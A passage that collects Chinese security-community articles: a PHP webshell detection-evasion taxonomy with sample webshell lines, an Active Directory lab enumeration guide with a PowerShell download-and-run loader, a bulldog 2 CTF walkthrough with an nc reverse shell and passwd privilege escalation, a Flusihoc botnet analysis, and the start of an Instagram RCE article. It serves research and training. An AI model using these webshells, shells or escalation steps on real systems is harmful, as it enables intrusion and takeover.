getenv('HTTP_CONNECTION')
c.将外部参数作为文件/目录信息写入磁盘
d.将外部参数存入output buffering缓存中
e.利用PHP原生函数获取外部参数
get_defined_vars
getallheaders
phpinfo
f.利用输入/输出流获取外部参数
g.利用网络请求从远程IP获取外部参数
file_get_contents
get_meta_tags
h.利用xml处理函数获取外部参数
simplexml_load_string
i.利用数据库相关扩展获取外部参数
mysql
memcache
redis
j.利用本地变量注册获取外部参数
parse_url
extract
2.动态生成数值和字符串的方式
a.动态生成数组键值
1.利用try-catch存储和生成当前数组key
2.利用另一个数组变量存储当前数组key
3.利用time延时逻辑生成当前数组key
4.利用random逻辑生成当前数组key
b.动态生成参数名称
利用运算符技术：自增、异或、取非、取反
c.动态生成函数名称
1.利用字符串拼接技术
2.利用explode字符串分组技术
3.对字符串内容进行编码/解码的方式
a.利用BASE64编码/解码上技术
b.利用字符串顺序逆转相关技术
c.利用文本替换相关技术
d.利用0x16进制编码字符串
4.向函数传入实参/变量的方式
a.利用array callback相关函数实现参数传递
b.利用define宏定义方式实现参数传递
c.利用自定义加/解密函数进行处理后再进行参数传递
d.利用类方法重载的方式实现隐式参数传递
__toString方法重载
e.利用try-catch方式传递函数名
try { throw new Exception("system"); }
5.执行指令的方式
a.利用PHP原生函数执行指令
eval
assert
system
b.通过include方式执行指令
include ROOT_PATH . $_REQUEST['target'];
c.通过array callback execute方式实现代码执行
($a = 'assert')&&($b = $_POST['a'])&&call_user_func_array($a, array($b));
array_udiff_assoc(array($_REQUEST[$password]), array(1), "assert");
d.利用动态字符串函数调用特性（PHP中字符串可以直接作为函数名称被调用）
$dyn_func = $_GET['dyn_func']; $argument = $_GET['argument']; $dyn_func($argument);
e.利用序列化/反序列化特性执行指令
f.利用类构造/析构特性执行指令
g.利用anonymous (lambda-style) function（匿名函数）执行指令
create_function
eval("function lambda_n() { eval($_GET[1]); }"); lambda_n();
$a = function($b) { system($b); }; $a($_GET['c']);
h.通过注册系统回调执行指令
register_shutdown_function
register_tick_function
set_error_handler
i.利用反射技术执行指令
j.利用PHP ${}特性执行指令
k.利用系统输出缓存技术执行指令
l.利用“特性执行系统指令
m.利用字符串处理回调（string process callback）技术执行指令
mbereg_replace
n.利用静态类方法执行指令
class foo { static function a(callable $b) { $b($_GET['c']); } } foo::a('system');
6.动态改变程序执行流支的技术
a.利用三元运算符
b.根据某外部传入参数，决定某IF条件的判断结果
c.利用header实现二次跳转
d.通过将外部指令写入系统持久化存储后再通过include执行
磁盘文件
临时文件
内存文件
7.攻击沙箱/词法引擎的相关特殊技术
代码间插入注释
举一个具体的例子：
上面这个样本有以下几个绕过点：
1. 利用try-catch方式传递函数名
2. 从内置全局数组中获取外部参数
3. 利用动态字符串函数调用特性（PHP中字符串可以直接作为函数名称被调用）
建立这种思考框架有几个好处：
* php语言特性本身是存在不同的维度的，在每个维度内通过翻阅内核源代码，可以进行充分的穷举
* php的不同trick之间近似于彼此正交的维度，通过对不同维度进行交叉组合，可以高效地写出大量的绕过样本
* 有利于攻击者实现对防御者的单点突破，只要找到某个具体的绕过点，围绕这个绕过点，在其他维度上进行衍生，往往可以在短时间内创造出大量的绕过，方便在实战中迅速突破
## 2、模拟执行覆盖度攻击
业内目前针对PHP
Webshell，主流的做法是采用【静态/动态AST词法分析】或者【动态沙箱检测】技术，对这类防御手段来说，攻防博弈的战场在于【模拟引擎的完成度】，具体来说例如：
* php各类版本、生僻语法的支持度
* 打断污点追踪
* 父子类数据共享
* 引用传递
* 未定义函数调用
* 利用报错/容错机制
* 控制流依赖逃逸
* 宏定义传递
* 等等….
我们选取几类重点讲解
### 2.1、控制流依赖逃逸
以下面这段代码为例：
可以看到，信息（外部参数）的传递并不是直接通过赋值/函数调用来传递的，而是通过控制流来隐式传递的，如果AST引擎或者沙箱不能正确地处理这种语法，则污点信息在传递过程中就会被丢失，导致最后在sink点无法有效检测。
### 2.2、利用报错/容错机制
### 2.3、引用传递
这个攻击方式是利用ReflectionFunction映射类配合引用参数修改$args的值，如果引擎没有很好地处理引用，则污点传递会被打断。
### 2.4、宏定义传递
利用宏变量，实现了外部参数的传递。
## 3、上下文环境依赖差分攻击
所谓上下文环境依赖差分攻击，是指攻击样本的运行需要依赖特定的上下文环境，从信息论角度来说，这可以理解为一种额外信息，攻防博弈的战场在于信息的获取。安全里面有一个俗话叫“要尽量在攻击发生的现场进行日志捕获、检测、以及防御”，很多离线检测方案，就是因为离第一攻击现场太远了，导致上下文环境信息丢失严重，造成了很多检测和防御上的困难。
### 3.1、多次运行后才会暴露出真实攻击意图
实际黑客利用时，需要运行多次样本才能触发真正攻击，而沙箱或者AST引擎往往只能运行有限次。即所谓的“黑客知道要怎么运行、用户也知道，就是防御方不知道”，这在实战中也是一个常用的绕过手段。
### 3.2、借助环境变量等第三方存储暂存外部参数
首先通过putenv传递变量，之后获取变量中的path内容，那么只需要传入c=path=phpinfo();即可完成利用。
这种样本在实际攻击中是容易成功的，因为只要是Linux操作系统，webserver进程一般都会有权限进行环境变量的操作。但是对于检测引擎来说，如果没有正确处理环境变量的存储和获取相关操作，污点参数就是传递失败。
## 4、攻击流量差分攻击
所谓的攻击流量差分攻击，是一种最常见的攻击绕过过段，其实也是一种思考问题的方式，突破防御，绕过的本质就是要寻找防御系统的差分点，对于PHP
Webshell来说，外部传参流量就是一个很关键的差分点。
为了更好地说明这个沙箱，笔者这里引入两个概念，【静态可重入样本】以及【动态不可重复多模态样本】。
所谓【静态可重入样本】就是指大部分的传统的PHP
Webshell样本，我们称之为“可重入单模态样本”，这类样本尽管可以利用php的大量tricky特性、使用各种编码、加密手段，代码形式可以极尽复杂，例如
–我是分隔符 m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m
m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m
m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m
m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m
m m m m m m m m 结束–
但是，这种样本，究其根本，其本质都是“可重入的、单模态的”，就是说不管运行多少次，谁来运行（受害者 or 旁路离线引擎），其运行结果都是一样的。
从污点追踪理论的角度来说，这一阶段的沙箱，解决的是【显式污点传递问题】，即污点信息流的传递在样本代码中是显式的，只要模拟执行一遍即可100%模拟。
另一方面，对于【动态不可重复多模态样本】来说，这样样本的重点不在于利用了php的哪些tricky语法特性，而在于它的“不可重入性、多模态性”，我们下面用具体例子来解释。
### 4.1、动态依赖的分支跳转问题（根据输入的参数动态决定执行流和执行动作）
对这个样本来说，外部参数就像一个之路的地图，标识了一个“road chain”，只有严格遵守这个“road
chain”运行到最后，才可以看到样本的真实攻击意图。而这对业内很多旁路检测引擎来说，都是一个很大的挑战，在指数级的分支中，一旦走错了一个分支，就会被攻击者实现绕过。
### 4.2、基于外部参数动态生成函数名
主要攻击以沙箱和动态AST引擎为代表的旁路离线检测技术，离线检测因为丢失了攻击现场的上下文信息，因此较难模拟实际的攻击行为。
### 4.3、不常见的外部参数传递方式
对于业内常用的【污点追踪检测技术】，各家厂商基本都知道要把PHP常见的HTTP超参数标记为污点，例如GET/POST/COOKIE等。
但实际上，外部参数是一个泛概念，理论上来说，“一切外部可控的输入都是有害的，都需要被跟踪”。外部可控的输入源是一个信道的概念，原则上，只要是符合“外部可控、内容可控”这两个特点的方式，都属于外部可控输入。它们包括但不限于：
* HTTP输入（GET/POST）参数
* * $GLOBALS[‘_GET’]
* $GLOBALS[‘_POST’]
* $GLOBALS[‘_COOKIE’]
* $GLOBALS[‘_FILES’]
* $GLOBALS[‘GLOBALS’][‘_GET’]
* $GLOBALS[‘GLOBALS’][‘_POST’]
* $GLOBALS[‘GLOBALS’][‘_COOKIE’]
* $GLOBALS[‘GLOBALS’][‘_FILES’]
* $_GET
* $_POST
* $_COOKIE
* $_FILES
* $_REQUEST
* HTTP Header信息输入
* * getallheaders()
* 网络信道输入：只要对源头api的return zval进行污点标记，随后污点标记会随着api sequence被传递
* * file_get_contents()
* socket_create_listen()
* socket_listen()
* curl_init()
* 通过系统指令包装器执行网络相关指令，从外部网络获取指令信息
* * system()：system(“curl xxxxx/evil.command”)
* popen()
* exec()
* passthru()
* shell_exec()
* “
* 通过数据库相关操作获取外部可控参数
举一个具体的例子来说：
### 4.4、外部参数依赖下的条件跳转
条件表达式依赖实际的攻击者传入，对于旁路离线检测，最大的挑战在于，因为缺少对应的参数，会陷入所谓的【分支覆盖问题】。
## 5、攻击静态检测规则
攻击静态检测规则就是我们常说的，绕过某某厂商的正则检测黑规则。这类攻击方式业内讨论的文章已经非常多了，笔者在这里不再赘述。
笔者希望在这里阐述一个攻击静态检测规则的方法论，即【利用冗余可约分性进行样本变形】。
观察如下3个表达式，将其视作webshell样本的一个逻辑抽象版本：
((X+6)+Y)+X + (if( (X*Y)>0 ){X}else{X} + X*X) + (X + (Y - (X + if(6>0){1}else{0})) )
# X*Y恒大于0，故可约简为：
2*X + Y + 6 + X + X**2 + (X + (Y - (X + if(6>0){1}else{0})) )
# 6恒大于0，故可约简为：
2*X + Y + 6 + X + X**2 + X + Y - X + 1
最后约简得到：
X**2 + 3*X + 2*Y + 5
从最终结果，也就是功能上，上面3个表达式是相等的。
如果将最后一个表达式视为一个最精简版的webshell，例如：
<?php eval($_POST[1]);?>
根据冗余可约简规律，实现同样功能的这个代码，可以有无限多种扩展，这是不可枚举的。
例如：
<?php
link(__FILE__, 'ZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsK');
link(__FILE__, 'YXNzZXJ0Cg==');
$d = substr(readlink('ZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsK'), -32);
$e = substr(readlink('YXNzZXJ0Cg=='), -12);
$e = base64_decode($e);
$b = $e[0].'ssert';
$b(base64_decode($d));
unlink('ZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsK');
unlink('YXNzZXJ0Cg==');
这2个文件在代码架构上，存在非常大的区别。
这种冗余可约简性，直接导致了样本的反汇编结果、apicall序列结果差别非常大。
综上，对于【php一句话webshell】这个概念来说，其包含的集合是一个无限集合，这个问题可能不是一个数据问题（data
problem），而是一个机制问题（mechanism problem）。
对于攻击者来说，充分利用这个机制，只要找到了一个绕过样本，就可以进行大量的局部和全局衍生，创造出很多新的绕过样本。
## 关于我们
阿里云安全-能力建设团队以安全技术为本，结合云计算时代的数据与算力优势，建设全球领先的企业安全产品，为阿里集团以及公有云百万用户的基础安全保驾护航。
团队研究方向涵盖WEB安全、二进制安全、企业入侵检测与响应、安全数据分析、威胁情报等。
知乎链接：<https://zhuanlan.zhihu.com/p/120973806>
阿里云安全-系统安全研发团队，以系统安全为核心，着力解决云上威胁检测和防御等问题。借助云平台优势，构建检测系统，每天处理海量样本。开发检测引擎，发现威胁并实现防御闭环，御敌于外。 | 社区文章 |
# Active Directory 渗透测试靶场（二）
Go on。
## 0x00 前言
先介绍一下域信任的基本原理，然后第二部分实际操作一下信息的枚举。
## 0x01 域信任的过程
建立域之间的信任关系
在域环境中，建立信任的两个域之间可以互相访问资源，当然，其中需要做一些权限上的设置。
**信任方向（单向或双向）**
信任可以是单向或双向的。在双向信任中，任何一方的域都可以访问另一方。在单向信任中`域A信任域B`，这意味着域A是信任域，域B将是可信域。对于某个域中的用户访问另一个域中的资源，该用户需要位于受信任域中。看看下面的图表来了解单向信任：
左边的是HH，右边的是小Wing，HH对小Wing给了权限，将自己托付给他，所以小Wing对HH有了访问的权限，被信任。
### AD信任的类型
有各种信任类型。信任可以是传递性的或非传递性的。下表说明了一些类型的信任：
信任类型 | 属性 | 信任方向 | 验证方式 | 详情
---|---|---|---|---
树根节点 | Transitive | 双向 |
Kerberos V5 或NTLM
| 将新树添加到林中时自动创建
父节点-子节点 | Transitive | 双向 |
Kerberos V5 或NTLM
| 添加子域时自动创建
捷径 | Transitive |
单向或双向
|
Kerberos V5 或NTLM
|
手动创建，在林中使用，缩短信任路径以改善身份验证时间
林 | Transitive |
单向或双向
|
Kerberos V5 或NTLM
|
手动创建。
用于在AD DS和林之间共享资源。
**林中的传递信任**
信任你具有传递性，例如A信任B，B信任C，那么A信任C
**自动信任**
默认情况下，添加子域的时候会创建双向的信任，两种信任类型是父子信任和根信任。
下面是一张可视化的跨越信任边界的Kerberos原理的图片：
TGT就是一种特殊票证，Ticket Granting
Ticket，允许客户端在同一Kerberos域中获取其他Kerberos票证，当客户端向密钥分发中心（KDC）发送票证请求时，KDC为客户端创建TGT（使用客户端密码作为密钥，进行加密）并将加密的TGT发回给客户端。然后，客户端尝试使用其密码解密TGT。如果客户端成功解密TGT（即，如果客户端提供了正确的密码），它将保留解密的TGT，这是客户端的身份证明。
TGT允许客户端获得额外的票证（如TGS），这些票证允许你访问特定的服务。
**TGS**
:TGS代表`票据授权服务`。TGS是KDC的一个组件，它在客户端请求与Kerberos服务的连接时发出服务票证。客户需要有一个有效的TGT，然后才会向它发出TGS。
**域之间的TGT**
：在林间信任的情况下，得到域间信任的TGT后，用这个TGT向另外一个信任域请求TGS，信任域使用信任密码验证后，生产TGS返回客户端。
上面这个图解释一下：
* DC1 的 Client从DC1请求TGT
* DC1 用TGT响应(krbtgt hash)
* Client再请求TGS
* Client请求DC2，但是当前域并找不到服务器，因此它使用Inter-realm TGT回应客户端
* DC2返回的是用账户的hash加密的TGS
* 客户端再用TGS去请求服务器
这个过程安全客有师傅写过了。
**建立信任的认证范围**
创建域信任的时候，会让你选择范围：
林范围的身份验证： 如果我们使用林范围的身份验证，则外部林中的用户与属于本地林的用户具有相同级别的本地林资源访问权限。
选择性身份验证： 如果是选择性身份验证，则需要在域中的每台计算机上手动分配权限，以及希望第二个林中的用户有权访问的资源。
## 0x02 示例
首先要正确配置dns。
打开DNS管理器
先设置允许区域传送
显示了网域资料，ok。
**进行域信任设置**
可以利用SID属性将子域的权限升级到根域。
完成后可以设置一些目录权限
## 0x03 枚举
* AD是用LDAP作为访问协议
* AD是通过DNS作为定位服务，方便找到域内其他主机。
* AD数据库是NTDS.DIT
powershell内存加载
powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1’);Get-NetDomain”
先生成一个ps payload，假设我们取得一个目标的权限。
### 基础命令
一些基本的信息收集命令,下面的命令请用域用户登陆靶机，不然没权限。
ipconfig /all
可以判断出pentestlab.com就是DC。
whoami /all
本地的组
net localgroup
显示本地管理员
net localgroup "administrators"
检查开放端口
netstat -an
详细查看进程
tasklist /V
系统信息
systeminfo
查看定时任务
schtasks /query /fo LIST /v
查看补丁情况
wmic qfe get Caption,Description,HotFixID,InstalledOn
**常用的网络命令**
arp -a
显示域名：
echo %USERDOMAIN%
打印域控制器名称：
echo %logonserver%
域用户列表
net user /domain
打印AD域密码策略：
net accounts /domain
AD信任关系：
nltest /domain_trusts
### Active Directory PowerShell模块收集信息
这个模块是微软自己家的，好处在于可以减少被AV识别到的风险，以及在PCL模式下也可以使用，但是只有windows server 2008 r2以上才支持。
以下是一些常用的命令示例。
有关AD用户的信息：
Get-ADUser -Filter *
查询域中所有的组详细信息
Get-ADGroup -Filter *
过滤器可以自己选择
Get-ADGroup -Filter {Name -like "*admin*"} | select name, GroupScope
就是显示管理员组
获取当前域信息
Get-ADDomain
显示有关AD Forest的信息
Get-ADFroest
信任域的所有信息
Get-ADTrust -Filter *
### 使用Powerview枚举
获取域内机器
Get-NetComputer
域控信息
Get-NetDomainController
组信息
Get-NetGroup
session信息
Get-NetSession
ACL信息
Get-ObjectAcl
查看访问权限
Find-LocalAdminAccess -Verbose
枚举管理员组成员
Invoke-EnumerateLocalAdmin -Verbose
### Bloodhound
怎么安装自己查看WIKI
<https://github.com/BloodHoundAD/BloodHound/wiki/Getting-started>
详细使用教程：
<https://www.freebuf.com/sectool/179002.html>
三应该是工具系列。
...
...
... | 社区文章 |
# 渗透测试实战-bulldog 2靶机入侵
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
大家好！爱写靶机渗透文章的我又来了，因为是在工作闲暇时间做的靶机解题，所以更新可能会比较慢，为什么这篇要写在这个靶机呐？因为看到现在很多ctf和靶机都在使用nodojs出题，有可能会是个趋势，所以碰到了就写篇文章，让大家以后有个认识。
## 靶机安装/下载
bulldog 2靶机下载：<https://pan.baidu.com/s/1crkVi54RbhczmqyHw3W1XQ>
bulldog 2靶机ip：172.16.24.78
攻击者ip：172.16.24.89
### 实战
第一步不用怀疑，肯定还是nmap 神器开路
可以看到该靶机只开放了80端口…, 下一部小伙伴们肯定是要探测目录了
通过目录猜解可以看到没有发现什么可利用的目录，那根据个人经验估计突破口肯定在js文件里，
我们访问该靶机80端口，查看其js的调用情况。如图：
可以看到该靶机首页调用了4个js文件，我们分别访问，美化一下看看（肯定有小伙伴要问了，为什么要美化。。 因为不美化是这样的，如图
小弟这里把这4个js文件美化保持到本地, 下一步就是对其逐一进行审计查看，我们在查看页面的时候可以看到，页面上有个注册功能，但是我们点击报错。。。
我们使用 “register” 做为关键字对刚刚美化保存的4个js文件进行搜索，可以看到有所发现，如图：
根据js上的定义，我们可以使用 post提交 新账户信息来完成注册，但是注意这里有2点要求：
1. Content-Type 必须要是：application/json
2. post 数据包内容处，必须要严格按照js代码里的规范
post 数据包：
POST /users/register HTTP/1.1
Host: 172.16.24.78
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sun, 15 Jul 2018 14:58:16 GMT
If-None-Match: W/“465-1649e73083e”
Content-Type: application/json
Content-Length: 96
{
“name”: “aqk”,
“email”: “[email protected]”,
“username”: “aqk”,
“password”: “123456”
}
可以看到返回true，注册成功了，我们使用 “aqk”账号来登陆一下看看，
可以看到已经成功登陆这个新账户的，但是没办法继续利用啊，怎么办。我们先退出登陆，回到注册点，在登陆看看，
1.先验证用户账户密码，如图：
2.账号密码正确后，该靶机传递一个奇怪的tonken，如图：
下一步我们就来解密一下看这个tonken传递了什么内容，我们可以去Google搜索 “jwt 解密”
（注：百度搜索这个关键词出现一堆有的没的，谷歌搜索第一条就是我们想要的。优秀）
解密网址：<https://jwt.io>
我们把那个tonken后面的编码复制进去查询一下看看，如图：
可以看到一个可疑的参数：“auth_level”，通过名字就应该知道是判断用户权限的，我们进行使用这个参数去刚刚保存的几个js文件里搜索看看，如图：
在743行代码处，看到它的判断，下一步我们只需要把“master_admin_user” 替换掉原来的就行，如图：
下一步就是复制修改后的新编码替换原来的编码，注：后面明文处也要修改成“master_admin_user”，如图：
放包以后，我们成功已经变成了 admin 账户，
下一步突破口在修改密码处，为什么呢？因为前面测试的时候找到了其github上托管的代码，并发现在修改密码的密码处存在命令执行漏洞，如图：
1. 报错信息：
关键字“Bulldog-2-The-Reckoning”
2.github搜索
3.发现漏洞
当然各位小伙伴们也可以不用这么麻烦手动挖掘到这个漏洞，因为就那么2个功能页面。。。
下面我们就直接在修改密码处执行漏洞拿反弹shell，如图：
注：此处的反弹shell命令为：rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc
172.16.24.89 6666 >/tmp/f
成功拿到shell。
接下来肯定是提权了，相信看过小弟文章的都知道，该怎么弄了，这次小弟写个不一样的。
1.切换到/etc，查看passwd文件读写权限，如图：
（注：命令出现重复，是特例，小伙伴们如果碰到这种情况，重新反弹一个shell回来就行，小弟懒，就算了…)
可以看到passwd文件可以写。。。 我们查看一下用户
下一步我们只需要新建一个root用户就行，操作如下：
1.命令：perl -le ‘print crypt(“pass”, “aa”)’
2.复制 passwd文件里 root 用户那列继续修改，如图
注：我们只需要修改3处：一个是名字、一个是刚刚编译出来的密文、一个是跟名字一样。此处的 0:0
切记不可修改，相信小伙伴们都了解过passwd文件的对于的权限类型
下一步我们就直接把这个新创建的用户写入passwd文件里即可，
确认一切都没问题了，就可以直接输入命令：su hack
密码为刚刚设置的：pass
成功拿到root权限，并拿到flag，如图：
## 结语
不管是靶机的安全检测还是平时的渗透测试工作，我们都不应该去忽略js文件，可能有惊喜哦！多花点时间多考虑一个点，我相信你会有更多收获！最后祝大家生活愉快，国庆节快乐！ | 社区文章 |
# 【技术分享】来自中国？敢问Flusihoc僵尸网络出处
|
##### 译文声明
本文是翻译文章，文章来源：arbornetworks.com
原文地址：<https://www.arbornetworks.com/blog/asert/the-flusihoc-dynasty-a-long-standing-ddos-botnet/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[blueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
自2015年以来，ASERT安全研究团队持续对一个名为 **Flusihoc** 的 **DDoS僵尸网络**
进行了跟踪和分析。迄今为止，虽然各种安全厂商在其防病毒和入侵检测产品中添加了许多恶意软件的特征，却很少从安全厂商那里看到有关Flusihoc这款僵尸网络的报道。Flusihoc恶意软件一直有不断的变种出现，针对该恶意软件，我们的恶意软件库中收集到的样本数量超过了500多种。Flusihoc僵尸网络是一种多功能的C++恶意软件，可以通过命令和控制服务器进行各种DDoS攻击。由于最近观察到该恶意软件的攻击活动有所上升，因此我们决定再对该恶意软件家族进行研究和分析，本文将在下面的内容中对该恶意软件家族、恶意软件的功能以及多年来观察到的攻击活动进行阐述。
**
**
**可能起源于中国**
通过对C&C服务器地理位置和恶意软件某些静态属性的研究和分析，我们猜测创造Flusihoc恶意软件的可能是一个中国人，例如如下是我们通过分析Flusihoc样本而找到的调试字符串：
C:UserschengzhenDesktopsvchostReleasesvchost.pdb
上述调试字符串中的“ **chengzhen**
”一词是一段汉语的拼音字符串。此外，其他恶意软件样本中也包含调试字符串，并且调试字符串中包含有汉字。从样本的PE资源来看，我们发现大部分样本具有Chinese_Simplified语言资源。不过需要注意的是，这些调试字符串可能是攻击者故意用来误导研究人员的。
**
**
**C2 通信**
Flusihoc恶意软件使用HTTP协议以明文形式与C&C服务器进行通信，下图是该恶意软件与C&C服务器进行的通信的示例：
通过分析我们发现C&C服务器使用基于数字的命令结构，僵尸网络中的节点将接收到一个数字，并将与该数字值相关联的命令结果发送给C&C服务器，节点与C&C服务器之间的通信字符串由“|”隔开并以字符串“end”终止。ASERT安全团队标识到了以下编号的命令：
**1** -要求僵尸网络节点发送受感染机器的系统信息；此命令将提示僵尸网络节点返回受感染机器诸如操作系统名称，CPU详细信息，RAM大小和网络速度等信息。
**22**
-告诉僵尸网络节点检查攻击有效载荷，如果以前没有收到有效载荷，则向C&C服务器发送“null”字符串。如果节点响应“null”，则C&C服务器将向节点发送一个文本块，节点首先对该文本块进行解析操作，并将解析后的结果用作它的攻击有效载荷，如果节点已经有一个攻击有效载荷，它会向C&C服务器发送一个“end”字符串。
**333** -获取攻击状态，并提示僵尸网络节点根据是否在对目标发起网络攻击而向C2服务器发送“busy”或“Idle”消息。
**4444** -命令僵尸网络节点停止当前的网络攻击活动。
此外，C2服务器使用如下的命令格式发送一个命令给僵尸网络节点以用来发起攻击：
<attack command #>|<target>|<port>|<# of threads>|<uri>|<attack type>n…end
**
**
**DDoS攻击类型**
Flusihoc有9种DDoS攻击能力，具体如下所示：
**SYN_Flood（1）**
**UDP_Flood（2）**
**ICMP_Flood（3）**
**TCP_Flood（4）**
**HTTP_Flood（5）**
**DNS_Flood（6）**
**CON_Flood（7）**
**CC_Flood（8）**
**CC_Flood2（9）**
这些攻击类型由C2以字符串格式发送给bot，之后bot解析字符串并发起网络攻击，用于进行上述各种攻击的机制会因攻击类型和变体（主要使用Windows
SDK中的Winsock2）而存在差异。
**
**
**恶意软件的改进和变化**
**持久化机制**
在Flusihoc的早期变种中（在[VirusTotal上](https://translate.googleusercontent.com/translate_c?depth=1&hl=zh-CN&prev=search&rurl=translate.google.com.hk&sl=en&sp=nmt4&u=https://www.virustotal.com/en/file/e2d2b5746990c06b84d4cbe2df76f882e792de3549f64d941a31e4e38c660656/analysis/&usg=ALkJrhiZlDJM0u9fRG1ESwe6Fe-1lDwpCQ)可以找到恶意软件样本），该恶意软件会在“SoftwareMicrosoftWindowsCurrentVersionRun”中使用持久性注册表项。然而可能出于逃避安全工具检测的目的，在后面的样本中，我们并没有发现这种持久性机制，但是这也使得在系统重新启动后，bot程序重新启动变得更加困难。在较新发现的样本示例中，我们看到Flusihoc开发者重新使用了这种持久性机制，大概是用于解决上述bot难以重启的问题。
**添加加密机制**
在后来的变种中，Flusihoc将明文的C2地址转换到使用RC4加密的C2地址。在2017年3月编译的样本中，我们可以看到样本中使用的明文C2地址，具体如下图所示：
然而，我们[在VirusTotal](https://translate.googleusercontent.com/translate_c?depth=1&hl=zh-CN&prev=search&rurl=translate.google.com.hk&sl=en&sp=nmt4&u=https://www.virustotal.com/en/file/6e4c85916dc98ea5ac981157f2a4adae3384009b646f6835a570c6b3c1083850/analysis/&usg=ALkJrhjk-cF9J7MwGa98FA54kAVGiMjgwQ)的较新样本中看到了一个使用RC4加密C2地址的样本，其编译日期为2017年4月。在此样本中，C2看起像是2017年3月编译版本的变种，只是不再支持明文的C2地址，具体如下图所示：
通过上图我们发现，bot程序通过调用RC4加密函数以及密钥来解密从C2服务器接收到的内容。在这个样本示例中，RC4密钥是“crealloc”，具体如下图所示：
由于RC4的加解密函数是相同的，因此在已知密钥的情况下，我们可以轻松解密出上图C2服务器的地址：Main[.]dresou[.]net
**Flusihoc的新功能**
在2017年4月的那个样本中，我们发现了Flusihoc恶意软件的新功能：bot程序会使用URLDownloadToFileA，WinExec和ShellExecuteA这些Windows
API函数下载并执行文件，如果文件以“exe”结尾，它将从提供的URL下载文件并执行，具体如下图所示：
如果文件名不以“exe”结尾，它将使用“Open”操作来运行恶意程序，具体如下图所示：
此功能允许僵尸网络控制器更新Flusihoc恶意软件或远程下载其他恶意文件。
**
**
**网络攻击活动**
**检测到的C2s**
使用我们的僵尸网络渗透系统，自2015年7月以来，ASERT团队已经跟踪了与Flusihoc相关的154个不同的C2，并检测到24,137次攻击命令。截至2017年9月，48个C2地址仍然在活动着，下面是生成最多攻击命令的C2：
wm[.]sshtdk[.]com
1211[.]sshtdk[.]com
121[.]sshtdk[.]com
pp[.]sshtdk[.]com
qq[.]sshtdk[.]com
大多数C2位于中国，而且大多数攻击命令都是针对中国目标网址发起的网络攻击。经过对目标网址进行粗略的分析，我们并没有发现目标之间有任何明显的相关性。
**DDoS攻击活动**
基于Arbor ATLAS设备从400个运行Arbor
SP/TMS平台的全球分布式服务提供商那里收集到的匿名DDoS攻击数据，我们能够对僵尸网络的攻击活动做进一步的统计分析。
自2017年7月以来，我们可以将观察到的Flusihoc攻击命令与报告给ATLAS的909个DDoS事件相关联。2017年7月6日观察到的攻击峰值大小是在45.08
Gbps，大多数DDoS攻击都使用TCP SYN的80端口，1-1023和443端口，这些事件的平均攻击大小为603.24
Mbps，通常每天会发起大约14次不同的网络攻击，具体如下图所示：
**
**
**结论**
Flusihoc可能是一个来自中国的DDoS僵尸网络，因为它主要攻击中国的目标网址。分析表明，这个恶意软件家族至少在2015年以来就一直存在，并且与154个C2相关联。
尽管不是最大的DDoS僵尸网络，但是Flusihoc仍然能够对许多站点，服务器，服务和应用程序发起DDoS网络攻击。
**
**
**IOCs**
**样本：**
41f1c2b942fb8c78d9d3b9e339480970ead06241
2ff3eab0892325b936beee70d8625c4e8d50d7c0
6a1863abded29f1151db7f1eebe33298adbcb793
**C2s：**
Main[.]dresou[.]net
wm[.]sshtdk[.]com
1211[.]sshtdk[.]com
121[.]sshtdk[.]com
pp[.]sshtdk[.]com
qq[.]sshtdk[.]com | 社区文章 |
# 适用于Android和iOS的Instagram App中的远程代码执行漏洞
|
##### 译文声明
本文是翻译文章，文章原作者 checkpoint，文章来源：research.checkpoint.com
原文地址：<https://research.checkpoint.com/2020/instagram_rce-code-execution-vulnerability-in-instagram-app-for-android-and-ios/>
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
Instagram每天上传超过100+百万张照片，是最受欢迎的社交媒体平台之一。
基于这个原因，我们决定测试适用于Android和iOS操作系统的Instagram应用的安全性。
在其中我们发现了一个严重漏洞，可以用来在受害者的手机上远程执行任意代码。
我们进行此研究的关注方向是测试Instagram使用的第三方项目组件。
现如今，许多软件开发人员，无论其项目规模大小，都会在其软件中使用开源项目。在此次研究的最后，我们在Instagram使用的`Mozjpeg`（一个开源项目用作其JPEG格式解码器）库中发现了一个漏洞。
在我们下面描述的攻击情形中，攻击者只需要通过电子邮件，或其他媒体交换平台将图像发送给受害者。 当受害者打开Instagram应用程序时，就会执行恶意代码。
## 告诉我你的朋友是谁，我会告诉你他的漏洞
我们都知道，即使是大公司大都也依赖于开源项目，并且这些项目几乎不经过修改就集成到了他们的产品中。
大多数使用第三方开源项目的公司都对其进行了声明，但并非所有库都显示在该应用程序的“About”页中。
为了确保能查看到所有的库最好的办法是查看Instagram应用的`lib-superpack-zstd`目录：
在下图中，可以看到当使用Instagram上传图像时，将加载三个共享库：`libfb_mozjpeg.so`，`libjpegutils_moz.so`和`libcj_moz.so`。
`moz`后缀是`mozjpeg`的缩写，`mozjpeg`是Mozilla JPEG编码器项目的缩写，我们需要了解一些这些模块都做了什么？
## Mozjpeg是什么？
